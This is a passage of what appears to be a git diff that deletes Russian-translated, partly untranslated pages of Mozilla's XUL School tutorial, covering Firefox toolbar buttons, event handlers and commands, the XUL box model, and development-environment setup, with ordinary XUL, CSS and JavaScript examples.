If you are using XBL bindings (explained way ahead) for your toolbar items, you'll have to include the CSS files for those as well, each in a new line like the one above.

-

We now have code that adds one or more buttons to the toolbar palette. The user can now use the Customize Dialog to add the buttons to the current Firefox toolbars. In most cases this is not what you want as default behavior, because it would be very hard for the user to discover your buttons. Keep in mind most users don't know how to customize toolbars in Firefox.

-

Теперь давайте создадим свою панель инструментов - toolbar. Это также делается в в оверлее.

-
<overlay ...>
-  ...
-  <window id="main-window">
-    <toolbox id="navigator-toolbox">
-      <toolbar id="xulschoolhello-toolbar"
-        <!-- toolbarname="&xulschoolhello.toolbarName.label;"
-        accesskey="&xulschoolhello.toolbar.accesskey;"
-        customizable="true" mode="icons"
-        context="toolbar-context-menu"
-        defaultset="xulschoolhello-hello-world-button"
-        insertbefore="PersonalToolbar" --> />
-    </toolbox>
-  </window>
-  ...
-</overlay>
-

Our toolbar is added as a child of the toolbox element in the main browser window. The toolbox is the collection of toolbars in Firefox, including the main menu bar. Let's look at the attributes we used:

- -

That's it for the basics. With this knowledge you should be able to create simple toolbars and toolbar buttons you can add to Firefox. Now we'll look deeper into the details of toolbars so that you can make great toolbars.

-

Кнопки на панели инструментов

-

There are several types of buttons and elements you can add to a toolbar depending on your needs. The toolbarbutton element has the type attribute that allows you to change the behavior of the button in many ways. The menu and menu-button types allow you to create buttons that open popup menus beneath them. See the Back/Forward buttons in the main Firefox toolbar for an example. Menu toolbar buttons are handy when you want to include many options in your toolbar and you don't want it to be too cluttered. The other types, checkbox and radio are useful when you have buttons that change state when the user clicks on them. Read more about this in the type attribute specification.

-
-

Keep in mind some users have small screens with low resolution. If you shrink the Firefox window, you'll notice that the content resizes until it reaches its minimum size and begin to be cropped (cut), making UI elements disappear. You should test that your toolbar resizes gracefully and doesn't force Firefox to crop content before it's strictly necessary.

-
-

Добавим кнопку на нашу панель инструментов.

-
<overlay ...>
-  ...
-  <window id="main-window">
-    <toolbox id="navigator-toolbox">
-      <toolbar id="xulschoolhello-toolbar">
-        <toolbarbutton id="xulschoolhello-btn" label="Hello" />
-      </toolbar>
-    </toolbox>
-  </window>
-  ...
-</overlay>
-
-  
-

When you need something more elaborate than a button in your toolbar, you can use the toolbaritem element instead. This element is nothing more than a wrapper, so you can have whatever XUL content you want in it. However, you should keep in mind that odd-looking toolbars are likely to confuse and annoy users. Use custom toolbar items sparingly.

-

Иконки кнопок на панели инструментов

-

Создание иконок для панели инструментов является одной из наиболее трудных задач при разработке расширения. Придумать рисунки для кнопок не трудно, сложнее заставить их гармонировать с Firefox в разных операционных системах. Внимание к иконкам значительно изменилось после Firefox 4, поэтому о старых версиях здесь не будет упоминаться однако, можете проверить более ранние ревизии этого документа).

-

Наборы иконок для Firefox:

-

Windows

-

Toolbar-win.png

-

Mac OS X (Lion и старше)

-

Toolbar-mac-lion.png

-

Mac OS X

-

Toolbar-mac.png

-

Linux (Gnome)

-

Toolbar-gnome.png

-

Toolbar-gnome-small.png

-
-

Примечание: изображения выше, вероятно, не распространяются по той же лицензии CC в отличие от данного материала

-
-

Вот ключевые сходства и различия между этими тремя темами:

- -

Now let's look at the CSS work involved in a toolbar that works on the aforementioned systems. If you want your toolbar to look right on all systems, you should consider having different icon sets for each. You should also consider using a graphic designer for this work, as it takes a lot of attention to detail to make good icons.

-

You can have a different skin directory for each operating system using Manifest Flags in the chrome.manifest file:

-
skin xulschoolhello classic/1.0 skin/unix/
-skin xulschoolhello classic/1.0 skin/win/    os=WINNT
-skin xulschoolhello classic/1.0 skin/mac/    os=Darwin
-
-

The osversion flag can be used in case we wanted to have different icons for Mac OS X Lion and above, and others for older systems. In this example we won't bother.

-

There is a separate skin directory for each system, with the Unix theme as the default (as most other systems are Unix-based). This makes it easy to keep the themes separate and to make changes to one of them without having to worry about the rest. On the other hand, it is often the case that there are multiple images and CSS sheets that are the same for all systems. For example, your extension logo icon will probably be the same. Having multiple copies of these files can be wasteful, so you may want to have a "common" directory.

-
-

Image files use the most space in an extension package, by far. Most extensions are a few hundred kilobytes in size or smaller. If your file is getting too big, you should look into optimizing your images.

-
-

Given the way manifest files work, we have found that the best solution is to have a separate package name for OS-specific skin files.

-
skin xulschoolhello    classic/1.0 skin/all/
-skin xulschoolhello-os classic/1.0 skin/unix/
-skin xulschoolhello-os classic/1.0 skin/win/    os=WINNT
-skin xulschoolhello-os classic/1.0 skin/mac/    os=Darwin
-
-

All we did here is add a new entry for "common" styles that points to the all directory. The OS-specific entries now use a different package name: xulschoolhello-os. Now you just need to be careful about when to use chrome://xulschoolhello/skin/ and when to use chrome://xulschoolhello-os/skin/. It's a bit hacky, but it works well.

-

As for the image files themselves, you may be wondering why it is that all icons are included in a single file instead of having one file for every icon. One reason is that it would be complicated to manage that many files, and it becomes more likely that changes made to some of the files lead to an inconsistent appearance that is not obvious by looking at the individual files. It is easier to be able to edit all icons in one go. There is also a performance gain from using a single file. To get the region that corresponds to a specific state of an icon, the -moz-image-region CSS property is used.

-

Here are some examples of how the CSS for a toolbarbutton would look like on the 3 major platforms. This assumes that you've set the class xs-hw-toolbarbutton to all of your buttons.

-

Windows:

-
/* The second and third selectors at the bottom are necessary to prevent
-   conflicts with installed themes. */
-toolbarbutton.xulschoolhello-toolbarbutton,
-window:not([active="true"]) toolbarbutton.xulschoolhello-toolbarbutton,
-toolbar[iconsize="small"] toolbarbutton.xulschoolhello-toolbarbutton {
-  list-style-image: url("chrome://xulschoolhello-os/skin/toolbar.png");
-}
-
-#xulschoolhello-hello-world-button {
-  -moz-image-region: rect(0px, 16px, 16px, 0px);
-}
-
-
-

Mac OS X:

-
/* The second and third selectors at the bottom are necessary to prevent
-   conflicts with installed themes. */
-toolbarbutton.xulschoolhello-toolbarbutton,
-window:not([active="true"]) toolbarbutton.xulschoolhello-toolbarbutton,
-toolbar[iconsize="small"] toolbarbutton.xulschoolhello-toolbarbutton {
-  list-style-image: url("chrome://xulschoolhello-os/skin/toolbar.png");
-}
-
-#xulschoolhello-hello-world-button {
-  -moz-image-region: rect(0px, 16px, 16px, 0px);
-}
-
-

Linux:

-
/* The second and third selectors at the bottom are necessary to prevent
-   conflicts with installed themes. */
-toolbarbutton.xulschoolhello-toolbarbutton,
-window:not([active="true"]) toolbarbutton.xulschoolhello-toolbarbutton {
-  list-style-image: url("chrome://xulschoolhello-os/skin/toolbar-large.png");
-}
-
-#xulschoolhello-hello-world-button {
-  -moz-image-region: rect(0px, 24px, 24px, 0px);
-}
-
-toolbar[iconsize="small"] #xulschoolhello-hello-world-button {
-  list-style-image: url("chrome://xulschoolhello-os/skin/toolbar.png");
-  -moz-image-region: rect(0px, 16px, 16px, 0px);
-}
-
-

Several CSS rules apply by default to all toolbar buttons. These add the button-like look you want. If for some reason you want to override these styles (not recommended), you'll need the following rule:

-
-moz-appearance: none;
-
-

-moz-appearance can be used in many cases where you want to strip the native look out of an element. This will save you a lot of time trying to remove all the CSS rules that give the buttons a native look. You'll probably still need to override a couple other CSS rules to get a completely plain look.

-

The Customize Toolbars Dialog

-

Firefox has the option to customize its toolbars. We've already mentioned this before, and if you follow our recommendations, then you shouldn't have many problems making your toolbar compatible with the Customize Toolbars dialog. The dialog can be opened from View > Toolbars > Customize..., or by right-clicking on the main toolbar (or any toolbar with the correct context attribute value) and clicking on the Customize option.

-

Other than what we have stated before, you should take into account the controls at the bottom of the Customize Toolbars dialog. You should test your toolbar buttons and items under all combinations of Icons / Icons and text / Text, Use Small Icons, and hiving your icons in different toolbars. You should also test that the Reset to Defaults button works correctly. Adding elements to your toolbar that are not toolbarbutton or toolbaritem will cause it to fail. Make sure your icons look OK while the Customize Dialog is open, and after clicking on the OK button. If you use XBL bindings, make sure everything works normally after customizing toolbars. All of this is very important to test because, when the dialog is opened, Firefox changes the DOM of the toolbar, adding wrapper elements that allow the customization. This tends to break very specific CSS, and XBL bindings lose their internal state when moved around the DOM.

-

Добавление кнопок на уже существующие панели инструментов

-

Finally, there is the very common case where you just want to add one button to the main toolbar. In this case you still need to add the button to the palette using an overlay. In order to add your button to the main toolbar on first run, you'll have to use Javascript code. Keep in mind that you shouldn't assume anything about the location (or presence!) of any specific buttons; remember users could have moved them or removed them altogether. The Toolbar Code Snippets page has a code sample you can use to do this.

-

Remember to validate if your button is already present, to prevent duplicates. It's also a good idea to set a preference that indicates that you added your button already, so that it can be removed permanently if the user chooses to. Another option is to use FUEL's firstRun property, which also relies on a preference.

-

Firefox 3

-
let extension = Application.extensions.get(YOUR_EXTENSION_ID);
-
-if (extension.firstRun) {
-  // add button here.
-}
-
-

Firefox 4

-
Application.getExtensions(function (extensions) {
-    let extension = extensions.get(YOUR_EXTENSION_ID);
-
-    if (extension.firstRun) {
-      // add button here.
-    }
-})
-

Both

-
function firstRun(extensions) {
-    let extension = extensions.get(YOUR_EXTENSION_ID);
-
-    if (extension.firstRun) {
-      // add button here.
-    }
-}
-
-if (Application.extensions)
-    firstRun(Application.extensions);
-else
-    Application.getExtensions(firstRun);
-
-

The FUEL library currently only works on Firefox 3 and above.

-

{{ PreviousNext("XUL_School/Adding_Menus_and_Submenus", "XUL_School/Adding_events_and_commands") }}

-

This tutorial was kindly donated to Mozilla by Appcoast.

diff --git "a/files/ru/xul_school/\320\264\320\276\320\261\320\260\320\262\320\273\320\265\320\275\320\270\320\265_\321\201\320\276\320\261\321\213\321\202\320\270\320\271_\320\270_\320\272\320\276\320\274\320\260\320\275\320\264/index.html" "b/files/ru/xul_school/\320\264\320\276\320\261\320\260\320\262\320\273\320\265\320\275\320\270\320\265_\321\201\320\276\320\261\321\213\321\202\320\270\320\271_\320\270_\320\272\320\276\320\274\320\260\320\275\320\264/index.html" deleted file mode 100644 index ef43cd2e1c..0000000000 --- "a/files/ru/xul_school/\320\264\320\276\320\261\320\260\320\262\320\273\320\265\320\275\320\270\320\265_\321\201\320\276\320\261\321\213\321\202\320\270\320\271_\320\270_\320\272\320\276\320\274\320\260\320\275\320\264/index.html" +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: Добавление событий и команд -slug: XUL_School/Добавление_событий_и_команд -translation_of: Archive/Add-ons/Overlay_Extensions/XUL_School/Adding_Events_and_Commands ---- -

{{ PreviousNext("XUL_School/Adding_Toolbars_and_Toolbar_Buttons", "XUL_School/The_Box_Model") }}

-

Event handlers

-

Just like with HTML, most JavaScript code execution is triggered by event handlers attached to DOM elements. The most commonly used event is the onload event, which is used in overlays and other windows to detect when the window has loaded and then run initialization code:

-
// rest of overlay code goes here.
-window.addEventListener(
-  "load", function() { XulSchoolChrome.BrowserOverlay.init(); }, false);
-
-

You can do something similar with the onunload event, to do any cleanup you may need.

-
- Please read Appendix A for recommendations on how to use the load event to initialize your add-on without having a negative performance impact on Firefox.
-

Another way to attach event handlers, just like HTML, is to place the handler in the XUL code:

-
<overlay id="xulschoolhello-browser-overlay"
-  onload="XulSchoolChrome.BrowserOverlay.init();"
-  xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
-
-

We prefer the first method because it keeps a better separation of content and behavior. Also, note that the addEventListener method receives the event name without the "on" prefix, while element attributes do have the prefix. There's a long list of events you can listen to, and which you use depend on the situation. Elements only implement the events that are relevant to them, but there are several events that are implemented for most elements. These are some notable events you should keep in mind:

- -

Event handlers can take an event argument, which is an Event object that holds information on the event. You can get information on key modifiers (in case the user was holding a modifier key like Alt while performing the event), screen coordinates for mouse events, and most importantly, the target element for the event. For example:

-
<button label="&xulschoolhello.defaultGreeting.label;"
-  oncommand="XulSchoolChrome.BrowserOverlay.changeGreeting(event);" />
-
-

Then on the Javascript code you would have something like this:

-
changeGreeting : function(aEvent) {
-  // more stuff
-  aEvent.target.setAttribute("label", someNewGreeting);
-}
-
-

The target in this example is the button element, so clicking on it will change its text. The advantage of using the event argument is that the method is not dependent of the specific button, so it can also be used for other elements.

-

For more advanced event handling, you should read about Event Propagation. In a nutshell, events propagate from the root of the DOM tree all the way down to the target element and then all the way up back to the root, in the capture and bubble phases, respectively. You can capture and cancel events during any of these phases, provided that they aren't canceled before they reach the point where you intended to capture them. The addEventListener method allows you to control the phase where you want to handle an event, with the last argument of the function.

-
- In general, you should avoid adding event handlers in the capturing phase, or canceling events. This can lead to unexpected behavior for the user since most events have a default behavior associated to them.
-

Custom events

-

This is a very powerful tool that you should know, even if it isn't that frequently used. The DOM createEvent function allows you to create custom events that you can dispatch and capture.

-

Custom events serve as a good communication mechanism, specially when dealing with a somewhat common problem: communication between window XUL and web page content. It isn't hard for XUL code to control the content on pages being loaded or displayed, as we will see later on, but it can be hard for your extension XUL code to receive information from pages in a secure manner. This is because it would be very insecure to have a website JS controlling the behavior of Firefox and running JavaScript code with chrome privileges.

-

Suppose your extension interacts with pages from a website, and you want some actions on this site to trigger actions in your extension. One way to solve this is to have the actions on the site to generate a custom event that can be easily recognized by your extension. You can capture the events in the XUL  overlay, since they'll bubble all the way up:

-
// in the overlay code.
-document.addEventListener(
-  "XSHelloGreetingEvent", function(aEvent) { /* do stuff*/ }, false);
-
-

Be careful when doing this! You should at least validate the URL of the page that is generating the custom event, so that you know that it's coming from the right place. You should also avoid this kind of events to trigger actions that could be destructive to the user's data, because a malicious site could try to trigger these events and cause damage. There's a reason for the division between remote content and local chrome, so make sure you respect it.

-

There's a section further ahead on Intercepting Page Loads which complements this section very well. This should give you a solid foundation to handle interaction between web content and XUL.  Additional information on custom events and how they can be used to effect communication between web content and XUL can be found in the Interaction between privileged and non-privileged pages code snippets, which describe and provide examples of this sort of communication.

-

Broadcasters

-

Keeping a consistent UI is another important aspect of extension behavior. Maybe your extension needs to disable or enable a series of controls when the user logs in or out of a service, or when Firefox detects it's online or offline. It's common that you need to change several elements at the same time, and this can be difficult to manage through JavaScript. The broadcaster element can help you out in these cases.

-

First you need to add a broadcaster element to your XUL code, as a child of a broadcasterset element.

-
<broadcasterset id="xulschoolhello-broadcasterset">
-  <broadcaster id="xulschoolhello-online-broadcaster" />
-</broadcasterset>
-
-

These elements are completely invisible, so you can put them anywhere. It is recommended that you have them at the top of the XUL code, along with script declarations and other invisible elements with as popupset and commandset.

-

Then you need to identify which of your XUL elements will be linked to this broadcaster, using the observes attribute:

-
<menuitem id="xulschoolhello-hello-menu-item"
-  label="&xulschoolhello.hello.label;"
-  accesskey="&xulschoolhello.helloItem.accesskey;"
-  observes="xulschoolhello-online-broadcaster"
-  oncommand="XULSchoolChrome.BrowserOverlay.sayHello(event);" />
-
-

The attribute value is set to be the id of the broadcaster element, indicating that this element will observe all attribute changes that happen in the broadcaster. You can have as many elements as you want observing a broadcaster.

-

With that set, all you need to do now is set or remove attributes in the broadcaster using JavaScript. All nodes observing it will automatically have those attribute values set or removed as well. You can override pre-existing values, such as the label attribute value in the example.

-
let onlineBroadcaster = document.getElementById("xulschoolhello-online-broadcaster");
-
-onlineBroadcaster.setAttribute("label", "Something");
-
-

You can also have finer-grained control to this behavior by adding the observes element as a child to your observer node. This allows you to choose which attributes you want it to observe.

-

Broadcasters allow you to easily maintain consistency among numerous elements without having to add much code. They also save you the trouble of having to know if a given element is present in the DOM or not. For example, if you have a customizable toolbar, you can't be sure if a given button is present or not, so it's easier to use a broadcaster. This way you only need to set values to the broadcaster instead of having to check if the button is there or not.

-

Commands

-

The command element is a specialized type of broadcaster, meant to be used with the oncommand event. This is the recommended way of centralizing common UI behavior in Firefox and extensions. Commands are heavily used in Firefox, as a quick look into the DOM Inspector should show.

-

Their behavior is identical as broadcaster elements, but they should be used when oncommand is one of the shared attributes. Our menu example is in fact better suited for a command.

-
<commandset id="xulschoolhello-commandset">
-  <command id="xulschoolhello-hello-command"
-    oncommand="XULSchoolChrome.BrowserOverlay.sayHello(event);" />
-  <!-- More commands. -->
-</commandset>
-<!-- More code here... -->
-<menuitem id="xulschoolhello-hello-menu-item"
-  label="&xulschoolhello.hello.label;"
-  accesskey="&xulschoolhello.helloItem.accesskey;"
-  command="xulschoolhello-hello-command" />
-
-

Commands allow you to keep your JavaScript calls in a single place, avoiding code repetition and possible bugs. Your UI can easily scale this way. You can create an extension that adds toolbar buttons, statusbar buttons and menu items, all with equivalent behavior, and without having to repeat lots of XUL code in the process. Commands and broadcasters also facilitate working with complex form windows and dialogs. You should always keep them in mind when adding the event-driven code for your extension.

-

{{ PreviousNext("XUL_School/Adding_Toolbars_and_Toolbar_Buttons", "XUL_School/The_Box_Model") }}

-

This tutorial was kindly donated to Mozilla by Appcoast.

diff --git "a/files/ru/xul_school/\320\272\320\276\321\200\320\276\320\261\320\276\321\207\320\275\320\260\321\217_\320\274\320\276\320\264\320\265\320\273\321\214/index.html" "b/files/ru/xul_school/\320\272\320\276\321\200\320\276\320\261\320\276\321\207\320\275\320\260\321\217_\320\274\320\276\320\264\320\265\320\273\321\214/index.html" deleted file mode 100644 index d822bd9317..0000000000 --- "a/files/ru/xul_school/\320\272\320\276\321\200\320\276\320\261\320\276\321\207\320\275\320\260\321\217_\320\274\320\276\320\264\320\265\320\273\321\214/index.html" +++ /dev/null @@ -1,124 +0,0 @@ ---- -title: Коробочная модель -slug: XUL_School/Коробочная_модель -translation_of: Archive/Add-ons/Overlay_Extensions/XUL_School/The_Box_Model ---- -

{{ PreviousNext("XUL_School/Adding_events_and_commands", "XUL_School/Adding_windows_and_dialogs") }}

-

In order to master XUL, you'll need to have a fairly good understanding of its Box Model. This is the system that determines how all elements are laid out visually in a XUL document. It is important to know how it works in order to make interfaces that are easy to localize, skin and use in different types of operating systems, screen sizes and resolutions.

-

The XUL box model is a significant improvement over the HTML layout model, which is mostly vertical. With XUL you can define vertically oriented as well as horizontally oriented interfaces, providing greater flexibility in interface design.

-

Any XUL interface can be broken down into the following basic components:

- -

Menus, toolbar buttons, and even the most complex elements in XUL are composed of these simple ingredients. Complex elements are created from simpler ones through XBL, which will be covered later on. Once you grasp this simple idea, you'll be able to use the DOM Inspector and CSS to mold XUL elements and layouts with great precision and flexibility.

-

Most of the examples shown in the rest of this section were generated using the XUL Box Alignment Example. We recommend you play around with it for a while to get an idea of how the basic parts of the box model work. In order to use this page, you'll need to install the Remote XUL Manager extension and add developer.mozilla.org to the whitelist.

-

Boxes

-

A XUL box is very similar to an HTML div. It's an invisible rectangular container with no styling at all (divs may have some default styling, though). Their behavior is similar. However, one of the fundamental differences between XUL and HTML has been the fact that XUL boxes can be oriented vertically or horizontally (this behavior is being introduced into HTML standards).

-

There are 3 basic box elements in XUL: hbox, vbox and box. An hbox is oriented horizontally by default, meaning that its child nodes are displayed next to each other from left to right. A vbox is oriented vertically by default, its child nodes displayed one below the other from top to bottom. A box is a generic version that you can orient as you please, but its default is horizontal orientation, so it's pretty much equivalent to an hbox and it is seldom used.

-

Here's a very simple example of an hbox with 3 child buttons:

-
<hbox>
-  <button label="Cat" />
-  <button label="Parrot" />
-  <button label="Porcupine" />
-</hbox>
-
-

This is how it looks on Mac OS (the black border was added for illustrative purposes, boxes don't have borders by default):

-

-

If you use a vbox instead, it looks like this:

-

-

The orientation of boxes (and most XUL elements) can be controlled using the orient attribute or the -moz-box-orient CSS property. With these you can make an hbox have vertical orientation and viceversa, although that isn't very useful. The CSS property may be useful on some occasions, but using the orient attribute is not recommended because it mixes content and presentation.

-

 Flexibility

-

An HTML div is as big as its contents unless you override its dimensions using CSS. This is similarly the case for XUL, except there are two flexibility directions to consider. An hbox is as big as its contents horizontally, but it will occupy all the available space vertically. You can make an hbox flexible horizontally with the CSS property -moz-box-flex or the flex attribute. The same applies to a vbox, but in the other direction.

-

Unlike most style attributes, the flex attribute is considered acceptable to use in XUL code. This is because this attribute is used much too often, and it would require a great deal of CSS code to avoid using it. At any rate, it can always be overriden using CSS, so your extension won't lose skinability because of it.

-

Flexibility is defined as a numeric value. The default value for most elements is 0, which means that the element will not stretch in the direction of its orientation, and its size in that dimension will be determined by its contents and padding. If you want an element to be flexible, you should set its flexibility to 1. This makes the element stretch to occupy as much available space there is in the direction of its orientation. If we add flexibility to the hbox in our first example, we get the following result:

-

-

The box flexes to cover the available horizontal space. The buttons maintain their size.

-

If we also add flexibility to the "Cat" button, this is what we get:

-

-

Now the flexible button is taking the available inner space, moving the other two buttons all the way to the end of the box.

-

What would happen if we also add flexibility to the "Parrot" button?

-

-

Since both buttons have a flexibility of 1, the available space is distributed evenly among the two. Note that this is not always the case. If one of the buttons has a very long label that restricts its minimum size, then it could be the label determining its size, while the other button would flex taking the rest of the room.

-

Now, if you want a different size distribution in flexible elements, you can use flexibility values higher than 1.

-

-

In this case, the "Cat" button has a flex value of 3, while the "Parrot" button still has a flex value of 1. The "Cat" button is now larger in a 3 to 1 proportion. Note that, again, this can depend on the contents of the elements, in this case, the labels and paddings in the buttons. If the label of the "Parrot" button was something much longer, the size ratio would not be kept.

-

You can have even more control over the size of flexible elements using the minwidth, maxwidth, minheight and maxheight attributes, or their CSS counterparts: min-width, max-width, min-height and max-height. The latter are recommended to keep style code in the skin section of the chrome. As their names should make clear, you can control the flexibility boundaries of elements, thus preventing them from growing or shrinking too much.

-
-
-
- All CSS properties involving lengths should be handled with caution. We recommended that you use proportional units (em, %) instead of absolute units (px) whenever possible. Using the former allows the UI to scale proportionately depending on font size settings, which are often changed by users with accessibility limitations. A common exception to this rule is when your CSS is directly related to images, where you'll usually handle measurements in pixels (px).
-
-
-

Also, just like in HTML, you can control the dimensions of inflexible elements using the width and height CSS properties and attributes. These attributes won't have any effect on flexible elements.

-

Margins, paddings and spacers

-

Margins and paddings are frequently used in both HTML and XUL to define spacing between elements and inside of elements. The margin determines the space between an element and the elements surrounding it, while the padding determines the space between the borders of a container element and its child nodes, kind of like an inner margin.

-

Sometimes you also need to define flexible spaces between elements. In this case you should use a spacer element with a flex value. A spacer element is completely invisible and doesn't do more than take space. You should only use it when you need flexible space. If you need fix-sized space it's best to use margins and paddings and avoid adding unnecessary nodes to your XUL document.

-

Alignment

-

XUL, unlike HTML, provides an easy way to align elements both horizontally and vertically. You can either use the align and pack attributes, or the -moz-box-align and -moz-box-pack CSS properties. Packing determines the positioning of the child elements in the direction of the container's orientation. Alignment determines the positioning in the other direction. So, in a flexed hbox, having center alignment and end packing results in this:

-

-

One important thing to notice is that aligment and flexibility can't be mixed in some cases. If you add flexibility to one of the buttons, the packing will no longer be useful, but the alignment still makes a difference. It also wouldn't make sense to use flexibility or packing in the hbox if it didn't have any available horizontal space; the container element needs to either be flexible itself, or have a fixed width larger than its contents.

-

Text

-

There are 2 XUL elements that are typically used for displaying text: label and description. Their behavior is nearly identical, but they are meant to be used in different situations.

-

The label element should be used mainly for text in XUL forms, such as the ones you see in the Firefox Options / Preferences window. Here's a typical usage of the label element:

-
-
-
<label control="xulschoolhello-greeting-textbox"
-  value="&xulschoolhello.typeGreeting.label;" />
-<textbox id="xulschoolhello-greeting-textbox" />
-
-
-

The label says something like "Type a greeting message", and the textbox next to it allows the user to type the message. The control attribute links the label to the textbox. If the user clicks on the label, the textbox will be focused. Also, if the user has a screen reader, the label will be read when the focus is placed on the textbox.

-

The description element is used for the rest of the cases, where the text is only meant as additional information and is not related to input elements.

-

Handling text in XUL may seem simple, but it's actually quite a tricky subject. You always have to keep in mind that localized strings may be significantly longer in other languages, specially much longer than English strings. You should avoid using long blocks text, and also avoid designing your UI so that everything fits just right around text. You should always keep in mind that the text can be much longer, and your UI should adapt to it.

-

Labels should generally be short, and they should always be displayed in a single line. Descriptions may be longer, and in general you should plan it so that they can wrap into multiple lines. In order to have wrapping descriptions, you need to set the text as a child node instead of using the value attribute:

-
-
-
<description>&xulschoolhello.description.label;</description>
-
-
-

Even then, the text will extend as much as it can in a single line, so you need to add some CSS limits in order to make it wrap inside a XUL dialog or window. You can use the CSS property width to restrict the width of the description so that it wraps as you need it to.

-
-
-
- Never cut text lines into separate locale strings in order to bypass wrapping difficulties. This makes localization much harder, or even impossible in some cases.
-
-
-

There are other more complicated text wrapping cases where a description won't be good enough. For instance, templates don't allow you to set the internal text in a description element in a way that it wraps properly. One way to work around this is using a textbox element instead. This blog post is a good guide on the subject, and you should keep it in mind if you need to do some advanced text handling.

-

Another way to handle excessive text length is to use the crop attribute. If the line of text is longer than its container will allow, the text will be cut, showing "..." in the place where it was cut. You can choose where to cut the text, but cropping at the end is the most common practice. Similarly as with wrapping, cropping will only occur is there is no room for the text to grow, so you'll need to restrict the width using CSS.

- -

XUL makes it very easy for you to create a label that is also a link. All you need is to set the text-link class to the label, and add an onclick handler (oncommand won't work for this). The label is displayed with the expected link style so that users can easily recognize it as a link.

-

A trickier case is when you need only part of a label to be clickable, just like in HTML. Since labels can't handle rich text, workarounds have to implemented using Javascript. One possibility is to use special markup in a locale property so that the link can be easily recognized:

-
-
-
xulschoolhello.linkedText.label = Go to <a>our site</a> for more information
-
-
-

The syntax is similar to HTML because it's easier to read this way, but string bundles won't do anything special with it. You'll have to break the string using regular expressions and generate 3 different labels, one with the text-link class. You'll also need to do some CSS work on the labels so that the inner spacing in the text looks right.

-

Another option is to take it up a notch and really use HTML.

-
-
-
xulschoolhello.linkedText.label = Go to <html:a onclick="%S">our site</html:a> for more information
-
-
-

To include HTML in a XUL document, you need to add the namespace for it in the document root:

-
-
-
<overlay id="xulschoolhello-browser-overlay"
-  xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"
-  xmlns:html="http://www.w3.org/1999/xhtml">
-
-
-

Then you can have an html:p (paragraph) element where you insert the result of parsing the property string. You can easily parse XML using the DOMParser object.

-
- Since XUL documents are strict XML, you can only use strict XHTML in XUL, and not the more loosely-formatted forms of HTML.
-

Exercise

-

Use the DOM Inspector extension to look into the Firefox chrome. Select toolbar buttons, menu items, textboxes, etc. and look into the Box Model, CSS Style Rules and Computed Style views. Look into the computed width and height values, and how the paddings and margins affect the dimensions of XUL nodes.

-

Modify the Hello World extension so that it changes the appearance of Firefox drastically using only CSS. Play with changing the dimensions and appearance of buttons, changing the background color of the toolbars and status bars, font styles, sizes, etc. Note that this is not really what you would expect from an extension, it's more like a theme. However, it's very interesting and useful to see how you can manipulate the appearance of Firefox so easily.

-

If you're not familiar with CSS, you should read this CSS Getting Started Guide and other online resources before continuing with this tutorial.

-

{{ PreviousNext("XUL_School/Adding_events_and_commands", "XUL_School/Adding_windows_and_dialogs") }}

-

This tutorial was kindly donated to Mozilla by Appcoast.

diff --git "a/files/ru/xul_school/\320\275\320\260\321\201\321\202\321\200\320\276\320\271\320\272\320\260_\321\201\321\200\320\265\320\264\321\213_\321\200\320\260\320\267\321\200\320\260\320\261\320\276\321\202\320\272\320\270/index.html" "b/files/ru/xul_school/\320\275\320\260\321\201\321\202\321\200\320\276\320\271\320\272\320\260_\321\201\321\200\320\265\320\264\321\213_\321\200\320\260\320\267\321\200\320\260\320\261\320\276\321\202\320\272\320\270/index.html" deleted file mode 100644 index efe52c1c1b..0000000000 --- "a/files/ru/xul_school/\320\275\320\260\321\201\321\202\321\200\320\276\320\271\320\272\320\260_\321\201\321\200\320\265\320\264\321\213_\321\200\320\260\320\267\321\200\320\260\320\261\320\276\321\202\320\272\320\270/index.html" +++ /dev/null @@ -1,237 +0,0 @@ ---- -title: Настройка среды разработки -slug: XUL_School/Настройка_среды_разработки -translation_of: >- - Archive/Add-ons/Overlay_Extensions/XUL_School/Setting_Up_a_Development_Environment ---- -

{{ PreviousNext("XUL_School/The_Essentials_of_an_Extension", "XUL_School/Adding_menus_and_submenus") }}

- -

Выбираем правильные инструменты

- -

Есть три основных инструмента, которые на наш взгляд необходимы для эффективной разработки дополнения: редактор исходного кода, сиcтема управления версиями и система сборки.

- -

Что касается редактирования кода, официальной интегрированной среды разработки от компании Mozilla нет. С другой стороны, расширения используют те же (или похожие) языки, используемые для веб-разработки, поэтому для этой задачи подойдут большинство текстовых редакторов или интегрированных сред разработки. Большинство XUL-инструментов и плагинов, которые вы найдете в сети Интернет, являются простыми шаблонами, которые создают структуру папок проекта, и это не очень помогает.

- -

Мы рекомендуем текстовый редактор Komodo Edit. Он бесплатный, с открытым исходным кодом и кроссплатформенный. Он основан на платформе Mozilla XULRunner, поэтому поддерживает некоторые особенности при разработке расширений Firefox. Komodo Edit поддерживает автодополнение тегов и аттрибутов XUL, расширение Mozilla's CSS extensions (CSS значения и свойства, начинающиеся на "-moz"). У редактора есть система дополнений, схожая с той, что используется в браузере Firefox, и есть несколько Komodo расширений, которые предоставляют дополнительную помощь в разработке. Это приложение предоставляет больше возможностей, по сравнении с множеством других редакторов, поэтому мы рекомендуем вам попровать его. Все наши примеры исходных кодов разрабатываются на Komodo Edit, поэтому если в скачанных файлах с примерами вы увидете расширения .kpf или .komodoproject , то знайте, что это файлы проекта Komodo.

- -

Что касается системы управления версиями, мы рекомендует лишь чтобы она у вас была. Самая распространенная система - это GitHub, но подойдет и любая другая.

- -

Для упаковки XPI-файлов мы используем утилиту make. Мы выбрали этот способ, потому что он используется компанией Mozilla для сборки Firefox, и доступен для большинства операционных систем. Утилита make - это стандартный инструмент для Unix-совместимых операционных систем. Она может быть установлена на Mac OS X в составе пакета программ XCode Tools и на Windows с пакетом программ cygwin. При установке cygwin у вас будет возможность явно выбрать утилиты make и zip из длинного списка для скачивания и установки.

- -

Также убедитесь в том, что утилита make корректно прописалась в системную директорию для запуска. Для этого после ее установки выполните команду "make -ver" в командной строке, и если все сделано правильно - на экран будет выведена версия утилиты make.

- -

Мы рекомендуем установить утилиту make в вашей операционной системе, поскольку все наши примеры предоставляются со всеми необходимыми файлами для сборки и установки получившегося XPI-файла используя этот инструмент. Это сбережет вам время при упаковке. Или вы можете создать свою собственную систему, используя бат-файл, утилиту Ant или любую другую в зависимости от ваших предпочтений. В конечном счете, вы можете просто сжимать содержимое папки src используя любой zip-архиватор или любой другой, и получить аналогичный результат.

- -

Build system

- -

Let's start by downloading the project used to build the second version of Hello World, from the exercise in the last section.

- -

Hello World 2 Project.

- -

